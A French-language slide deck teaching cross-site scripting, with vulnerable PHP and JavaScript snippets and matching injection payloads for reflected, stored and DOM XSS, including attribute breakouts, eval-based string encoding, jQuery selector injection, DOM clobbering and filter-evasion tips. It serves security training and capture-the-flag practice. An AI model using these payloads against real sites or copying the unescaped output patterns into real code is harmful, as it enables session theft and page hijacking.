Vecteur d'attaque XSS

Qu'est-ce que c'est ?

Example

<?php

echo "Votre nom est : " . $_GET['nom'];

?>

Comment on exploite

  1. On force l'utilisateur à visiter l'URL


    example.php?nom=<script><!-- malicious code --></script>
     

  2. On le force avec
     - Iframe caché dans une page web.
     - Phishing.

     

     

Type de XSS

  • Réfléchie
  • Stocké
  • DOM

Réfléchi et stocké

Cas classique

Attributs seulement

  • Si les caractères < et > sont escapés
  • Exemple

    <img src="<?php echo $url; ?>" />

  • x" onerror="alert('XSS') 

Code JavaScript (1)

  • Si les caractères <, >, " et ' sont escapés
  • Exemple

    <script>
    var abc = "<?php echo $abc; ?>";
    </script>
     
  • "+eval(String.fromCharCode(...));//

Code JavaScript (2)

  • Si les caractères ", ' et \ sont escapés
  • Exemple

    <script>
    var abc = "<?php echo $abc; ?>";
    </script>
     
  • </script><script>eval(String.fromCharCode(...))</script>

Code JavaScript (3)

  • Quand on a des limitations de caractères, le JavaScript est très flexible.
  • Ressources :
     - http://holyvier.blogspot.ca/2011/10/javascript-obfuscation-introduction.html
     - http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html
     - etc.

DOM

Génération dynamique de HTML

  • $("#value").html(params)
     
  • document.getElementById("value").innerHTML = params;

Sélecteur jQuery

  • Paramètre non filtré pour la fonction "$"
     
  • Exemple
    • $(params).show()
    • $("<img src=x onerror=alert(1)>")

       

DOM clobbering

  • Utilisation de variable JavaScript non déclaré
  • Accès à des éléments du DOM par leur nom
  • Accès à des éléments du DOM par leur classe CSS
  • Exemple
    • HTML
      • <div class=<?php echo htmlentities($_GET['cl']); ?> >
    • JavaScript
      • $("a.bob").html(code.id)
    • Payload
      • cl=1 name=code id=<svg/onload=alert(1)>

DOM clobbering

  • Limitation
    • Ne doit pas y avoir une variable du même nom déclarée
    • Certaines propriétés du DOM ne sont pas écrasables avec cette méthode

Trucs extra

  • Les guillemets sont facultatifs pour les attributs HTML

    <img src=x onerror=alert(1) />
     
  • On peut exécuter du JavaScript avec les balises "iframe" et "img" aussi.
     
  • https://www.owasp.org/index.php/
    XSS_Filter_Evasion_Cheat_Sheet

Challenges

  • Web - XSS 1 à XSS 5
    http://ringzer0team.com/
Made with Slides.com